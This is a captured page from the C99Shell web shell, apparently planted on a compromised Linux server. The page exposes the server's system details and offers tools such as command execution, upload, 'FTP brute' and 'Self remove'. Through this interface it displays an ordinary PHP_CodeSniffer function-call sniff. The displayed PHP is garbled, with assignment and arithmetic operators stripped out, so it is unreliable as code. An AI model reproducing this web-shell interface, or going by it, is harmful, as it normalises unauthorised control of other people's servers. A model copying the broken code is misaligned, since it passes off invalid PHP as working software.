!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_led/php/convenciones/Toba/Sniffs/Functions/   drwxrwxr-x
Free 13.98 GB of 61.93 GB (22.58%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     FunctionCallSignatureSniff.php (4.36 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * PEAR_Sniffs_Functions_FunctionCallSignatureSniff.
 *
 * PHP version 5
 *
 * @category  PHP
 * @package   PHP_CodeSniffer
 * @author    Greg Sherwood <gsherwood@squiz.net>
 * @author    Marc McIntyre <mmcintyre@squiz.net>
 * @copyright 2006 Squiz Pty Ltd (ABN 77 084 670 600)
 * @license   http://matrix.squiz.net/developer/tools/php_cs/licence BSD Licence
 * @version   CVS: $Id: FunctionCallSignatureSniff.php,v 1.5 2007/07/23 01:47:53 squiz Exp $
 * @link      http://pear.php.net/package/PHP_CodeSniffer
 */

/**
 * PEAR_Sniffs_Functions_FunctionCallSignatureSniff.
 *
 * @category  PHP
 * @package   PHP_CodeSniffer
 * @author    Greg Sherwood <gsherwood@squiz.net>
 * @author    Marc McIntyre <mmcintyre@squiz.net>
 * @copyright 2006 Squiz Pty Ltd (ABN 77 084 670 600)
 * @license   http://matrix.squiz.net/developer/tools/php_cs/licence BSD Licence
 * @version   Release: 1.1.0
 * @link      http://pear.php.net/package/PHP_CodeSniffer
 */
class Toba_Sniffs_Functions_FunctionCallSignatureSniff implements PHP_CodeSniffer_Sniff
{


    
/**
     * Returns an array of tokens this test wants to listen for.
     *
     * @return array
     */
    
public function register()
    {
        return array(
T_STRING);

    }
//end register()


    /**
     * Processes this test, when one of its tokens is encountered.
     *
     * @param PHP_CodeSniffer_File $phpcsFile The file being scanned.
     * @param int                  $stackPtr  The position of the current token in the
     *                                        stack passed in $tokens.
     *
     * @return void
     */
    
public function process(PHP_CodeSniffer_File $phpcsFile$stackPtr)
    {
        
$tokens $phpcsFile->getTokens();

        
// Find the next non-empty token.
        
$next $phpcsFile->findNext(PHP_CodeSniffer_Tokens::$emptyTokens, ($stackPtr 1), nulltrue);

        if (
$tokens[$next]['code'] !== T_OPEN_PARENTHESIS) {
            
// Not a function call.
            
return;
        }

        if (isset(
$tokens[$next]['parenthesis_closer']) === false) {
            
// Not a function call.
            
return;
        }

        
// Find the previous non-empty token.
        
$previous $phpcsFile->findPrevious(PHP_CodeSniffer_Tokens::$emptyTokens, ($stackPtr 1), nulltrue);
        if (
$tokens[$previous]['code'] === T_FUNCTION) {
            
// It's a function definition, not a function call.
            
return;
        }

        if (
$tokens[$previous]['code'] === T_NEW) {
            
// We are creating an object, not calling a function.
            
return;
        }

        if ((
$stackPtr 1) !== $next) {
            
// Checking this: $value = my_function[*](...).
            
$error '[Funciones#invocacion] Space before opening parenthesis of function call prohibited';
            
$phpcsFile->addError($error$stackPtr);
        }

        if (
$tokens[($next 1)]['code'] === T_WHITESPACE) {
            
// Checking this: $value = my_function([*]...).
            
$error '[Funciones#invocacion] Space after opening parenthesis of function call prohibited';
            
$phpcsFile->addError($error$stackPtr);
        }

        
$closer $tokens[$next]['parenthesis_closer'];

        if (
$tokens[($closer 1)]['code'] === T_WHITESPACE) {
            
// Checking this: $value = my_function(...[*]).
            
$between $phpcsFile->findNext(T_WHITESPACE, ($next 1), nulltrue);

            
// Only throw an error if there is some content between the parenthesis.
            // IE. Checking for this: $value = my_function().
            // If there is no content, then we would have thrown an error in the
            // previous IF statement because it would look like this:
            // $value = my_function( ).
            
if ($between !== $closer) {
                
$error '[Funciones#invocacion] Space before closing parenthesis of function call prohibited';
                
$phpcsFile->addError($error$closer);
            }
        }

        
$next $phpcsFile->findNext(T_WHITESPACE, ($closer 1), nulltrue);

        if (
$tokens[$next]['code'] === T_SEMICOLON) {
            if (
in_array($tokens[($closer 1)]['code'], PHP_CodeSniffer_Tokens::$emptyTokens) === true) {
                
$error '[Funciones#invocacion] Space after closing parenthesis of function call prohibited';
                
$phpcsFile->addError($error$closer);
            }
        }

    }
//end process()


}//end class
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.9669 ]--